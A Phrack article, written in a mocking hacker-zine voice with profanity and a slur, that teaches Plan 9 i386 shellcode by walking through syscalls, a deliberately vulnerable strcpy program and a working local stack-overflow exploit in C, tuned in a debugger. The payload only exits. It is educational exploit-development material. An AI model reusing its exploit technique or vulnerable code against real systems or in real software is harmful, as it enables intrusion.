==Phrack Inc.== Volume 0x0b, Issue 0x3e, Phile #0x09 of 0x0f |=---------------------=[ Writing Plan9 Shellcode ]=-------------------=| |=----------------------------------------------------------------------=| |=---------------=[ m1lt0n ]=---------------=| Dear Reader, This article concerns itself with developing plan9 shellcode for use in exploits. I am not one for lengthy introductions or disclaimers, so I would like to start right in the middle of the action: So, we want to figure out the syscall mechanism used by plan9 on i386. First, lets look for the different syscall numbers. This is a good place to start: term% pwd /sys/src/libc/9syscall term% cat sys.h #define SYSR1 0 #define _ERRSTR 1 #define BIND 2 #define CHDIR 3 #define CLOSE 4 #define DUP 5 #define ALARM 6 #define EXEC 7 #define EXITS 8 #define _FSESSION 9 #define FAUTH 10 #define _FSTAT 11 #define SEGBRK 12 #define _MOUNT 13 #define OPEN 14 #define _READ 15 #define OSEEK 16 #define SLEEP 17 #define _STAT 18 #define RFORK 19 #define _WRITE 20 #define PIPE 21 #define CREATE 22 #define FD2PATH 23 #define BRK_ 24 #define REMOVE 25 #define _WSTAT 26 #define _FWSTAT 27 #define NOTIFY 28 #define NOTED 29 #define SEGATTACH 30 #define SEGDETACH 31 #define SEGFREE 32 #define SEGFLUSH 33 #define RENDEZVOUS 34 #define UNMOUNT 35 #define _WAIT 36 #define SEEK 39 #define FVERSION 40 #define ERRSTR 41 #define STAT 42 #define FSTAT 43 #define WSTAT 44 #define FWSTAT 45 #define MOUNT 46 #define AWAIT 47 #define PREAD 50 #define PWRITE 51 term% As you can see above, plan9 obviously sucks! What kind of operating system only has 51 syscalls? I've seen more unique syscalls used in a netric.org exploit than that! (See esdee read/alarm/dup2/close/open/creat/setitimer ptrace/mprotect/sbrk/... shellcode for more details). As I said, let's focus on Intel compatibility for the time being. I'm planning on writing another article in the future, discussing mechanisms for exploiting systems such as the AT&T DSP 3210 running Plan9 in the future, so don't be alarmed if this article seems terribly shortsighted! First, how do we get shit to compile in plan9? Contrary to popular belief, programs such as #include int main () { printf ("Hello world!\n"); } will not compile correctly! Yup, as I mentioned before in the introduction, this OS is pretty fucking gay, and it pretty much requires you to have a 3-button mouse to do anything! In fact you get a long error message like below: term% 8c test.c /sys/include/stdio.h:79 test.c:1 mixed ansi/old function declaration: vfprintf /sys/include/stdio.h:80 test.c:1 mixed ansi/old function declaration: vprintf /sys/include/stdio.h:81 test.c:1 mixed ansi/old function declaration: vsprintf /sys/include/stdio.h:82 test.c:1 mixed ansi/old function declaration: vsnprintf /sys/include/stdio.h:83 test.c:1 mixed ansi/old function declaration: vfscanf term% Apparently, there must be some reason for this, since the people that wrote K&R C also work for Bell Labz. Since plan9 is so featureless that it doesn't even include a good editor (the emacs man page is blank, and the vi page links to vi, A PLAN9 MIPS BINARY EMULATOR WOW), we will be using scp to copy our files from a remote machine! term% scp root@192.168.0.1:/tmp/crap.c /tmp !Adding key: proto=pass server=192.168.0.1 service=ssh user=root password: ! term% Now let's check out our file: term% cat crap.c #include #include static char shellcode[32]; int _main () { void (*myfunc) (void); memset (shellcode, 0xcc, sizeof (shellcode)); myfunc = (void *) shellcode; myfunc (); } term% 8c crap.c term% 8l -o crap crap.8 term% ./crap crap 669: suicide: sys: breakpoint pc=0x00002000 term% WOWOW! Local code execution! As you can see our elite int3 instruction generated a trap! Now let's explore some more useful shellcode, which we will use in our remote factotum exploit (to be published in the future). Since binary disassembly is so much fun, and because plan9 doesn't come with A FUCKING USEABLE EDITOR, we will skip the sourcekodez. Let's look at some random syscalls.... term% acid /bin/ls /bin/ls:386 plan 9 executable /sys/lib/acid/port /sys/lib/acid/386 acid: asm (getpid) getpid 0x0000716c SUBL $0x2c,SP getpid+0x3 0x0000716f LEA b+0x18(SP),AX getpid+0x7 0x00007173 MOVL AX,0x0(SP) getpid+0xa 0x00007176 MOVL $0x0,0x4(SP) getpid+0x12 0x0000717e MOVL $0x14,AX getpid+0x17 0x00007183 MOVL AX,0x8(SP) getpid+0x1b 0x00007187 CALL memset(SB) getpid+0x20 0x0000718c MOVL $.string(SB),CX getpid+0x25 0x00007191 MOVL CX,0x0(SP) getpid+0x28 0x00007194 MOVL $0x0,0x4(SP) getpid+0x30 0x0000719c CALL open(SB) Because of plan9's cooleliteawesome design, there are like 5 syscalls so we'll have to check out something more basic like open()... acid: asm (open) open 0x0000700f MOVL $0xe,AX open+0x5 0x00007014 INTB $0x40 open+0x7 0x00007016 RET close 0x00007017 MOVL $0x4,AX acid: Cool wow ok! Looks like our interrupt is 0x40 and the syscall number goes in eax. As you can remember from above, we had: #define OPEN 14 of course, 14 == 0xe so we're in business. Now that we're done debugging we'll want to exit acid with something like this: acid: quit () :5: (error) no function quit acid: exit () :6: (error) no function exit acid: fuck :7: (error) fuck used but not set acid: acid: x :9: (error) x used but not set acid: :9: (error) interrupt acid:  term% OK cool! I was hitting the reset button for about 2 weeks before I figured that one out! Let's copy that source code back over. term% scp root@192.168.0.1:/tmp/crap.c /tmp term% OH OK COOL WOW! I almost forgot another elite feature about plan9, once it's got my ssh password it stores it for future use, so I can use it just like Eugene Spafford's world famous "+ +" .rhosts configuration on *.cerias.purdue.edu! Once we finish writing our remote factotum exploit we will be able to retrieve all such stored ssh keys! term% cat crap.c && 8c crap.c && 8l -o crap crap.8 #include #include static char shellcode[] = "\x31\xc0\xb0\x08\x68\xef\xbe\xad\xde\xcd\x40\x90\xcc"; int main () { void (*myfunc) (void); myfunc = (void *) shellcode; myfunc (); } term% term% ./crap term% Here's the assembly language that produced this output: xorl %eax, %eax movb $0x8, %al pushl $0xdeadbeef int $0x40 Let's try out our favorite vulnerable program... term% cat overflowme.c #include #include #include void do_it (char *arg); void do_it (char *arg) { char buf[16]; strcpy (buf, arg); return; } int main (int argc, char *argv[]) { if (argc != 2) { fprintf (stderr, "Takes 2 arguments, dipshit\n"); exits (NULL); } do_it (argv[1]); return 0; } term% term% ./overflowme AAAABBBBCCCCDDDDEEEEFFFFGGGG overflowme 850: suicide: sys: trap: fault read addr=0x45454545 pc=0x45454545 term% UH OH! Somebody call CERT! Not only is this pretty easy but they even tell us our ret address! Looks like the E's got it... Let's whip up some exploit code.... #include #include #include #define PROGRAM "./overflowme" #define BUF_LEN 20 #define OFFSET 0 char shellcode[] = "\x31\xc0\xb0\x08\x68\xef\xbe\xad\xde\xcd\x40\x90"; int main () { unsigned long get_sp; unsigned long *retaddr; char expbuf[BUF_LEN]; memset (expbuf, 0x41, BUF_LEN); memcpy (expbuf, shellcode, strlen (shellcode)); /* holy shit mad props to solar designer */ get_sp= (unsigned long) &get_sp; get_sp += OFFSET; retaddr = (unsigned long *) expbuf; retaddr += 4; *retaddr = get_sp; printf ("returning to address 0x%.8lx ...\n", get_sp); fflush (stdout); execl ("./overflowme", "./overflowme", expbuf, NULL); exits ("something is wrong.\n"); return 0; } Compile it, and try it... term% 8c exploit.c && 8l -o exploit exploit.8 && ./exploit returning to address 0x7fffef90 ... overflowme 1054: suicide: sys: trap: invalid opcode pc=0x7fffefcc term% There seems like there's some minor problems. Let's debug the exploit and tune it up. term% acid -l truss ./exploit ./exploit:386 plan 9 executable /sys/lib/acid/port /sys/lib/acid/truss /sys/lib/acid/386 acid: new() acid: truss() brk_(0x00015a38) ..... pwrite(1, "returning to address 0x7fffef90 ... ", 36, -1) returning to address 0x7fffef90 ... return value: 36 1059: breakpoint exec+0x5 INTB $0x40 acid: step() 1059: invalid opcode 0x7fffefcc no instruction Notes pending: sys: trap: invalid opcode acid: acid: regs () PC 0x7fffefcc 0x7fffefcc ?file?:0 SP 0x7fffef70 ECODE 0x80100371 EFLAG 0x00000282 CS 0x00000023 DS 0x0000001b SS 0x0000001b GS 0x0000001b FS 0x0000001b ES 0x0000001b TRAP 0x00000006 invalid opcode AX 0x7fffef9d BX 0x00000001 CX 0x00000000 DX 0x000145a0 DI 0x7fffef71 SI 0x7fffeffc BP 0x00000040 acid: We need to search for our shellcode and calculate the offset: acid: dump(0x7fffefcc,128,"x") 0x7fffefcc: 0xefda 0x7fffefce: 0x7fff 0x7fffefd0: 0xefe7 0x7fffefd2: 0x7fff 0x7fffefd4: 0x0000 0x7fffefd6: 0x0000 0x7fffefd8: 0x0000 0x7fffefda: 0x2f2e 0x7fffefdc: 0x766f 0x7fffefde: 0x7265 0x7fffefe0: 0x6c66 0x7fffefe2: 0x776f 0x7fffefe4: 0x656d 0x7fffefe6: 0x3100 0x7fffefe8: 0xb0c0 0x7fffefea: 0x6808 0x7fffefec: 0xbeef 0x7fffefee: 0xdead 0x7fffeff0: 0x40cd 0x7fffeff2: 0x4190 0x7fffeff4: 0x4141 0x7fffeff6: 0x9041 0x7fffeff8: 0xffef 0x7fffeffa: 0x007f 0x7fffeffc: 0x0000 0x7fffeffe: 0x0000 0x7ffff000: :11: (error) indir: can't translate address 0x7ffff000 acid: This is the key line: 0x7fffefe6: 0x3100 Note the start of our shellcode... since we dumped in words, take into consideration little endian ordering, and our shellcode begins at virtual address 0x7fffefe7. returning to address 0x7fffef90: echo "ibase=16;7FFFEFE7-7FFFEF90"|bc -> 87 so we redefine OFFSET as 87 and try again: term% 8c exploit.c && 8l -o exploit exploit.8 && ./exploit returning to address 0x7fffefe7 ... term% Hurray! We have successfully exploited a buffer overflow on the plan9 operating system! And most importantly, we did the most useful thing possible: we exited the shell. If you ever gain access to a plan9 box, remember that the smartest thing you can do is logout. I hope this article has served to demystify some of the more obscure elements of plan9 exploit development, and has yielded valuable shellcode to be used in future exploits by plan9 hackers such from northern_/initd to Dave Presotto. Cheers, and happy hacking! - m1lt0n BIBLIOGRAPHY ------------ 1. http://plan9.bell-labs.com/sys/man/index.html P.S. Sorry about the bibliography, I just flunked my last high school English class for violating the MLA format. |=[ EOF ]=---------------------------------------------------------------=|